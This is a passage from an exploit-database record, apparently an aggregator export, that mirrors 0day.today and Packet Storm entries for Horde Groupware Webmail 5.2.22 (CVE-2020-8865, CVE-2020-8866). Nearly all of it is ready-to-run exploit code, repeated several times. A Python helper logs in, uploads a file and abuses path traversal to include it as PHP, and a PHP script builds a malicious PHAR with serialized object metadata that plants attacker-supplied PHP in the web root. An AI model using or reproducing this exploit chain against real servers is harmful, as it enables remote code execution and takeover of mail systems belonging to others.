'col': 0,\r\n 'action': 'save',\r\n 'app': app,\r\n 'params[template]': '../../../../../../../../../../../' + path\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot edit the bookmark block'\r\n\r\n # evaluate the remote file\r\n url = '{}/services/portal/'.format(self.base_url)\r\n response = self.session.get(url)\r\n print(response.text)\r\n\r\n # remove the bookmark block so to not break the page\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n # XXX token not needed here\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'removeBlock'\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot reset the bookmark block'\r\n\r\n def trigger_phar(self, path):\r\n # vulnerable block (alternatively the same can be obtained by creating a\r\n # bookmark with the PHAR path and clocking on it)\r\n app = 'horde:horde_Block_Feed'\r\n\r\n # add syndicated feed block\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n 'token': self.token,\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'save-resume',\r\n 'app': app,\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot add the syndicated feed block'\r\n\r\n # edit syndicated feed block\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n 'token': self.token,\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'save',\r\n 'app': app,\r\n 'params[uri]': 'phar://{}'.format(path)\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot edit the syndicated feed block'\r\n\r\n # load the PHAR archive\r\n url = '{}/services/portal/'.format(self.base_url)\r\n response = self.session.get(url)\r\n\r\n # remove the syndicated feed block so to not break the page\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n # XXX token not needed here\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'removeBlock'\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot reset the syndicated feed block'\r\n## horde.py EOF\n\n# 0day.today [2020-03-13] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/34088"}, {"lastseen": "2020-03-13T13:28:58", "description": "Exploit for php platform in category web applications", "edition": 1, "published": "2020-03-12T00:00:00", "title": "Horde Groupware Webmail Edition 5.2.22 - PHAR Loading Exploit", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-8866", "CVE-2020-8865"], "modified": "2020-03-12T00:00:00", "id": "1337DAY-ID-34089", "href": "https://0day.today/exploit/description/34089", "sourceData": "## exploit-phar-loading.py\r\n#!/usr/bin/env python3\r\nfrom horde import Horde\r\nimport requests\r\nimport subprocess\r\nimport sys\r\n\r\nTEMP_DIR = '/tmp'\r\nWWW_ROOT = '/var/www/html'\r\n\r\nif len(sys.argv) < 5:\r\n print('Usage: <base_url> <username> <password> <filename> <php_code>')\r\n sys.exit(1)\r\n\r\nbase_url = sys.argv[1]\r\nusername = sys.argv[2]\r\npassword = sys.argv[3]\r\nfilename = sys.argv[4]\r\nphp_code = sys.argv[5]\r\n\r\nsource = '{}/{}.phar'.format(TEMP_DIR, filename)\r\ndestination = '{}/static/{}.php'.format(WWW_ROOT, filename) # destination (delete manually)\r\ntemp = 'temp.phar'\r\nurl = '{}/static/{}.php'.format(base_url, filename)\r\n\r\n# log into the web application\r\nhorde = Horde(base_url, username, password)\r\n\r\n# create a PHAR that performs a rename when loaded and runs the payload when executed\r\nsubprocess.run([\r\n 'php', 'create-renaming-phar.php',\r\n temp, source, destination, php_code\r\n], stderr=subprocess.DEVNULL)\r\n\r\n# upload the PHAR\r\nwith open(temp, 'rb') as fs:\r\n phar_data = fs.read()\r\n horde.upload_to_tmp('{}.phar'.format(filename), phar_data)\r\n\r\n# load the phar thus triggering the rename\r\nhorde.trigger_phar(source)\r\n\r\n# issue a request to trigger the payload\r\nresponse = requests.get(url)\r\nprint(response.text)\r\n## exploit-phar-loading.py EOF\r\n\r\n\r\n\r\n\r\n## create-renaming-phar.php\r\n#!/usr/bin/env php\r\n<?php\r\n\r\n// the __destruct method of Horde_Auth_Passwd eventually calls\r\n// rename($this->_lockfile, $this->_params['filename']) if $this->_locked\r\nclass Horde_Auth_Passwd {\r\n // visibility must match since protected members are prefixed by \"\\x00*\\x00\"\r\n protected $_locked;\r\n protected $_params;\r\n\r\n function __construct($source, $destination) {\r\n $this->_params = array('filename' => $destination);\r\n $this->_locked = true;\r\n $this->_lockfile = $source;\r\n }\r\n};\r\n\r\nfunction createPhar($path, $source, $destination, $stub) {\r\n // create the object and specify source and destination files\r\n $object = new Horde_Auth_Passwd($source, $destination);\r\n\r\n // create the PHAR\r\n $phar = new Phar($path);\r\n $phar->startBuffering();\r\n $phar->addFromString('x', '');\r\n $phar->setStub(\"<?php $stub __HALT_COMPILER();\");\r\n $phar->setMetadata($object);\r\n $phar->stopBuffering();\r\n}\r\n\r\nfunction main() {\r\n global $argc, $argv;\r\n\r\n // check arguments\r\n if ($argc != 5) {\r\n fwrite(STDERR, \"Usage: <path> <source> <destination> <stub>\\n\");\r\n exit(1);\r\n }\r\n\r\n // create a fresh new phar\r\n $path = $argv[1];\r\n $source = $argv[2];\r\n $destination = $argv[3];\r\n $stub = $argv[4];\r\n @unlink($path);\r\n createPhar($path, $source, $destination, $stub);\r\n}\r\n\r\nmain();\r\n## create-renaming-phar.php EOF\r\n\r\n\r\n## horde.py\r\nimport re\r\nimport requests\r\n\r\nclass Horde():\r\n def __init__(self, base_url, username, password):\r\n self.base_url = base_url\r\n self.username = username\r\n self.password = password\r\n self.session = requests.session()\r\n self.token = None\r\n self._login()\r\n\r\n def _login(self):\r\n url = '{}/login.php'.format(self.base_url)\r\n data = {\r\n 'login_post': 1,\r\n 'horde_user': self.username,\r\n 'horde_pass': self.password\r\n }\r\n response = self.session.post(url, data=data)\r\n token_match = re.search(r'\"TOKEN\":\"([^\"]+)\"', response.text)\r\n assert (\r\n len(response.history) == 1 and\r\n response.history[0].status_code == 302 and\r\n response.history[0].headers['location'] == '/services/portal/' and\r\n token_match\r\n ), 'Cannot log in'\r\n self.token = token_match.group(1)\r\n\r\n def upload_to_tmp(self, filename, data):\r\n url = '{}/turba/add.php'.format(self.base_url)\r\n files = {\r\n 'object[photo][img][file]': (None, filename),\r\n 'object[photo][new]': ('x', data)\r\n }\r\n response = self.session.post(url, files=files)\r\n assert response.status_code == 200, 'Cannot upload the file to tmp'\r\n\r\n def include_remote_inc_file(self, path):\r\n # vulnerable block (alternatively 'trean:trean_Block_Mostclicked')\r\n app = 'trean:trean_Block_Bookmarks'\r\n\r\n # add one dummy bookmark (to be sure)\r\n url = '{}/trean/add.php'.format(self.base_url)\r\n data = {\r\n 'actionID': 'add_bookmark',\r\n 'url': 'x'\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot add the bookmark'\r\n\r\n # add bookmark block\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n 'token': self.token,\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'save-resume',\r\n 'app': app,\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot add the bookmark block'\r\n\r\n # edit bookmark block\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n 'token': self.token,\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'save',\r\n 'app': app,\r\n 'params[template]': '../../../../../../../../../../../' + path\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot edit the bookmark block'\r\n\r\n # evaluate the remote file\r\n url = '{}/services/portal/'.format(self.base_url)\r\n response = self.session.get(url)\r\n print(response.text)\r\n\r\n # remove the bookmark block so to not break the page\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n # XXX token not needed here\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'removeBlock'\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot reset the bookmark block'\r\n\r\n def trigger_phar(self, path):\r\n # vulnerable block (alternatively the same can be obtained by creating a\r\n # bookmark with the PHAR path and clocking on it)\r\n app = 'horde:horde_Block_Feed'\r\n\r\n # add syndicated feed block\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n 'token': self.token,\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'save-resume',\r\n 'app': app,\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot add the syndicated feed block'\r\n\r\n # edit syndicated feed block\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n 'token': self.token,\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'save',\r\n 'app': app,\r\n 'params[uri]': 'phar://{}'.format(path)\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot edit the syndicated feed block'\r\n\r\n # load the PHAR archive\r\n url = '{}/services/portal/'.format(self.base_url)\r\n response = self.session.get(url)\r\n\r\n # remove the syndicated feed block so to not break the page\r\n url = '{}/services/portal/edit.php'.format(self.base_url)\r\n data = {\r\n # XXX token not needed here\r\n 'row': 0,\r\n 'col': 0,\r\n 'action': 'removeBlock'\r\n }\r\n response = self.session.post(url, data=data)\r\n assert response.status_code == 200, 'Cannot reset the syndicated feed block'\r\n## horde.py EOF\n\n# 0day.today [2020-03-13] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/34089"}], "packetstorm": [{"lastseen": "2020-03-14T06:43:50", "description": "", "published": "2020-03-12T00:00:00", "type": "packetstorm", "title": "Horde Groupware Webmail Edition 5.2.22 PHAR Loading", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-8866", "CVE-2020-8865"], "modified": "2020-03-12T00:00:00", "id": "PACKETSTORM:156698", "href": "https://packetstormsecurity.com/files/156698/Horde-Groupware-Webmail-Edition-5.2.22-PHAR-Loading.html", "sourceData": "`## exploit-phar-loading.py \n#!/usr/bin/env python3 \nfrom horde import Horde \nimport requests \nimport subprocess \nimport sys \n \nTEMP_DIR = '/tmp' \nWWW_ROOT = '/var/www/html' \n \nif len(sys.argv) < 5: \nprint('Usage: <base_url> <username> <password> <filename> <php_code>') \nsys.exit(1) \n \nbase_url = sys.argv[1] \nusername = sys.argv[2] \npassword = sys.argv[3] \nfilename = sys.argv[4] \nphp_code = sys.argv[5] \n \nsource = '{}/{}.phar'.format(TEMP_DIR, filename) \ndestination = '{}/static/{}.php'.format(WWW_ROOT, filename) # destination (delete manually) \ntemp = 'temp.phar' \nurl = '{}/static/{}.php'.format(base_url, filename) \n \n# log into the web application \nhorde = Horde(base_url, username, password) \n \n# create a PHAR that performs a rename when loaded and runs the payload when executed \nsubprocess.run([ \n'php', 'create-renaming-phar.php', \ntemp, source, destination, php_code \n], stderr=subprocess.DEVNULL) \n \n# upload the PHAR \nwith open(temp, 'rb') as fs: \nphar_data = fs.read() \nhorde.upload_to_tmp('{}.phar'.format(filename), phar_data) \n \n# load the phar thus triggering the rename \nhorde.trigger_phar(source) \n \n# issue a request to trigger the payload \nresponse = requests.get(url) \nprint(response.text) \n## exploit-phar-loading.py EOF \n \n \n \n \n## create-renaming-phar.php \n#!/usr/bin/env php \n<?php \n \n// the __destruct method of Horde_Auth_Passwd eventually calls \n// rename($this->_lockfile, $this->_params['filename']) if $this->_locked \nclass Horde_Auth_Passwd { \n// visibility must match since protected members are prefixed by \"\\x00*\\x00\" \nprotected $_locked; \nprotected $_params; \n \nfunction __construct($source, $destination) { \n$this->_params = array('filename' => $destination); \n$this->_locked = true; \n$this->_lockfile = $source; \n} \n}; \n \nfunction createPhar($path, $source, $destination, $stub) { \n// create the object and specify source and destination files \n$object = new Horde_Auth_Passwd($source, $destination); \n \n// create the PHAR \n$phar = new Phar($path); \n$phar->startBuffering(); \n$phar->addFromString('x', ''); \n$phar->setStub(\"<?php $stub __HALT_COMPILER();\"); \n$phar->setMetadata($object); \n$phar->stopBuffering(); \n} \n \nfunction main() { \nglobal $argc, $argv; \n \n// check arguments \nif ($argc != 5) { \nfwrite(STDERR, \"Usage: <path> <source> <destination> <stub>\\n\"); \nexit(1); \n} \n \n// create a fresh new phar \n$path = $argv[1]; \n$source = $argv[2]; \n$destination = $argv[3]; \n$stub = $argv[4]; \n@unlink($path); \ncreatePhar($path, $source, $destination, $stub); \n} \n \nmain(); \n## create-renaming-phar.php EOF \n \n \n## horde.py \nimport re \nimport requests \n \nclass Horde(): \ndef __init__(self, base_url, username, password): \nself.base_url = base_url \nself.username = username \nself.password = password \nself.session = requests.session() \nself.token = None \nself._login() \n \ndef _login(self): \nurl = '{}/login.php'.format(self.base_url) \ndata = { \n'login_post': 1, \n'horde_user': self.username, \n'horde_pass': self.password \n} \nresponse = self.session.post(url, data=data) \ntoken_match = re.search(r'\"TOKEN\":\"([^\"]+)\"', response.text) \nassert ( \nlen(response.history) == 1 and \nresponse.history[0].status_code == 302 and \nresponse.history[0].headers['location'] == '/services/portal/' and \ntoken_match \n), 'Cannot log in' \nself.token = token_match.group(1) \n \ndef upload_to_tmp(self, filename, data): \nurl = '{}/turba/add.php'.format(self.base_url) \nfiles = { \n'object[photo][img][file]': (None, filename), \n'object[photo][new]': ('x', data) \n} \nresponse = self.session.post(url, files=files) \nassert response.status_code == 200, 'Cannot upload the file to tmp' \n \ndef include_remote_inc_file(self, path): \n# vulnerable block (alternatively 'trean:trean_Block_Mostclicked') \napp = 'trean:trean_Block_Bookmarks' \n \n# add one dummy bookmark (to be sure) \nurl = '{}/trean/add.php'.format(self.base_url) \ndata = { \n'actionID': 'add_bookmark', \n'url': 'x' \n} \nresponse = self.session.post(url, data=data) \nassert response.status_code == 200, 'Cannot add the bookmark' \n \n# add bookmark block \nurl = '{}/services/portal/edit.php'.format(self.base_url) \ndata = { \n'token': self.token, \n'row': 0, \n'col': 0, \n'action': 'save-resume', \n'app': app, \n} \nresponse = self.session.post(url, data=data) \nassert response.status_code == 200, 'Cannot add the bookmark block' \n \n# edit bookmark block \nurl = '{}/services/portal/edit.php'.format(self.base_url) \ndata = { \n'token': self.token, \n'row': 0, \n'col': 0, \n'action': 'save', \n'app': app, \n'params[template]': '../../../../../../../../../../../' + path \n} \nresponse = self.session.post(url, data=data) \nassert response.status_code == 200, 'Cannot edit the bookmark block' \n \n# evaluate the remote file \nurl = '{}/services/portal/'.format(self.base_url) \nresponse = self.session.get(url) \nprint(response.text) \n \n# remove the bookmark block so to not break the page \nurl = '{}/services/portal/edit.php'.format(self.base_url) \ndata = { \n# XXX token not needed here \n'row': 0, \n'col': 0, \n'action': 'removeBlock' \n} \nresponse = self.session.post(url, data=data) \nassert response.status_code == 200, 'Cannot reset the bookmark block' \n \ndef trigger_phar(self, path): \n# vulnerable block (alternatively the same can be obtained by creating a \n# bookmark with the PHAR path and clocking on it) \napp = 'horde:horde_Block_Feed' \n \n# add syndicated feed block \nurl = '{}/services/portal/edit.php'.format(self.base_url) \ndata = { \n'token': self.token, \n'row': 0, \n'col': 0, \n'action': 'save-resume', \n'app': app, \n} \nresponse = self.session.post(url, data=data) \nassert response.status_code == 200, 'Cannot add the syndicated feed block' \n \n# edit syndicated feed block \nurl = '{}/services/portal/edit.php'.format(self.base_url) \ndata = { \n'token': self.token, \n'row': 0, \n'col': 0, \n'action': 'save', \n'app': app, \n'params[uri]': 'phar://{}'.format(path) \n} \nresponse = self.session.post(url, data=data) \nassert response.status_code == 200, 'Cannot edit the syndicated feed block' \n \n# load the PHAR archive \nurl = '{}/services/portal/'.format(self.base_url) \nresponse = self.session.get(url) \n \n# remove the syndicated feed block so to not break the page \nurl = '{}/services/portal/edit.php'.format(self.base_url) \ndata = { \n# XXX token not needed here \n'row': 0, \n'col': 0, \n'action': 'removeBlock' \n} \nresponse = self.session.post(url, data=data) \nassert response.status_code == 200, 'Cannot reset the syndicated feed block' \n## horde.py EOF \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/156698/exploit-phar-loading.py.txt"}, {"lastseen": "2020-03-13T07:07:07", "description": "", "published": "2020-03-12T00:00:00", "type": "packetstorm", "title": "Horde Groupware Webmail Edition 5.2.22 PHP File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-8866", "CVE-2020-8865"], "modified": "2020-03-12T00:00:00", "id": "PACKETSTORM:156699", "href": "https://packetstormsecurity.com/files/156699/Horde-Groupware-Webmail-Edition-5.2.22-PHP-File-Inclusion.html", "sourceData": "`## exploit-inc-inclusion.py \n#!/usr/bin/env python3 \nfrom horde import Horde \nimport subprocess \nimport sys \n \nTEMP_DIR = '/tmp' \n \nif len(sys.argv) < 5: \nprint('Usage: <base_url> <username> <password> <filename> <php_code>') \nsys.exit(1) \n \nbase_url = sys.argv[1] \nusername = sys.argv[2] \npassword = sys.argv[3] \nfilename = sys.argv[4] \nphp_code = sys.argv[5] \n \n# log into the web application \nhorde = Horde(base_url, username, password) \n \n# upload (delete manually) and evaluate the .inc file \nhorde.upload_to_tmp('{}.inc'.format(filename), '<?php {} die();'.format(php_code)) \nhorde.include_remote_inc_file('{}/{}'.format(TEMP_DIR, filename)) \n## exploit-inc-inclusion.py EOF \n \n \n \n## horde.py \nimport re \nimport requests \n \nclass Horde(): \ndef __init__(self, base_url, username, password): \nself.base_url = base_url \nself.username = username \nself.password = password \nself.session = requests.session() \nself.token = None \nself._login() \n \ndef _login(self): \nurl = '{}/login.php'.format(self.base_url) \ndata = { \n'login_post': 1, \n'horde_user': self.username, \n'horde_pass': self.password \n} \nresponse = self.session.post(url, data=data) \ntoken_match = re.search(r'\"TOKEN\":\"([^\"]+)\"', response.text) \nassert ( \nlen(response.history) == 1 and \nresponse.history[0].status_code == 302 and \nresponse.history[0].headers['location'] == '/services/portal/' and \ntoken_match \n), 'Cannot log in' \nself.token = token_match.group(1) \n \ndef upload_to_tmp(self, filename, data): \nurl = '{}/turba/add.php'.format(self.base_url) \nfiles = { \n'object[photo][img][file]': (None, filename), \n'object[photo][new]': ('x', data) \n} \nresponse = self.session.post(url, files=files) \nassert response.status_code == 200, 'Cannot upload the file to tmp' \n \ndef include_remote_inc_file(self, path): \n# vulnerable block (alternatively 'trean:trean_Block_Mostclicked') \napp = 'trean:trean_Block_Bookmarks' \n \n# add one dummy bookmark (to be sure) \nurl = '{}/trean/add.php'.format(self.base_url) \ndata = { \n'actionID': 'add_bookmark', \n'url': 'x' \n} \nresponse = self.session.post(url, data=data) \nassert response.status_code == 200, 'Cannot add the bookmark' \n \n# add bookmark block \nurl = '{}/services/portal/edit.php'.format(self.base_url) \ndata = { \n'token': self.token, \n'row': 0, \n'col': 0, \n'action': 'save-resume', \n'app': app, \n} \nresponse = self.session.post(url, data=data) \nassert response.status_code == 200, 'Cannot add the bookmark block' \n \n# edit bookmark block \nurl = '{}/services/portal/edit.php'.format(self.base_url) \ndata = { \n'token': self.token, \n'row': 0, \n'col': 0, \n'action': 'save', \n'app': app, \n'params[template]': '../../../../../../../../../../../' + path \n} \nresponse = self.session.post(url, data=data) \nassert response.status_code == 200, 'Cannot edit the bookmark block' \n \n# evaluate the remote file \nurl = '{}/services/portal/'.format(self.base_url) \nresponse = self.session.get(url) \nprint(response.text) \n \n# remove the bookmark block so to not break the page \nurl = '{}/services/portal/edit.php'.format(self.base_url) \ndata = { \n# XXX token not needed here \n'row': 0, \n'col': 0, \n'action': 'removeBlock' \n} \nresponse = self.session.post(url, data=data) \nassert response.status_code == 200, 'Cannot reset the bookmark block' \n \ndef trigger_phar(self, path): \n# vulnerable block (alternatively the same can be obtained by creating a \n# bookmark with the PHAR path and clocking on it) \napp = 'horde:horde_Block_Feed' \n \n# add syndicated feed block \nurl = '{}/services/portal/edit.php'.format(self.base_url) \ndata = { \n'token': self.token, \n'row': 0, \n'col': 0, \n'action': 'save-resume', \n'app': app, \n} \nresponse = self.session.post(url, data=data) \nassert response.status_code == 200, 'Cannot add the syndicated feed block' \n \n# edit syndicated feed block \nurl = '{}/services/portal/edit.php'.format(self.base_url) \ndata = { \n'token': self.token, \n'row': 0, \n'col': 0, \n'action': 'save', \n'app': app, \n'params[uri]': 'phar://{}'.format(path) \n} \nresponse = self.session.post(url, data=data) \nassert response.status_code == 200, 'Cannot edit the syndicated feed block' \n \n# load the PHAR archive \nurl = '{}/services/portal/'.format(self.base_url) \nresponse = self.session.get(url) \n \n# remove the syndicated feed block so to not break the page \nurl = '{}/services/portal/edit.php'.format(self.base_url) \ndata = { \n# XXX token not needed here \n'row': 0, \n'col': 0, \n'action': 'removeBlock' \n} \nresponse = self.session.post(url, data=data) \nassert response.status_code == 200, 'Cannot reset the syndicated feed block' \n## horde.py EOF \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/156699/exploit-inc-inclusion.py.txt"}]}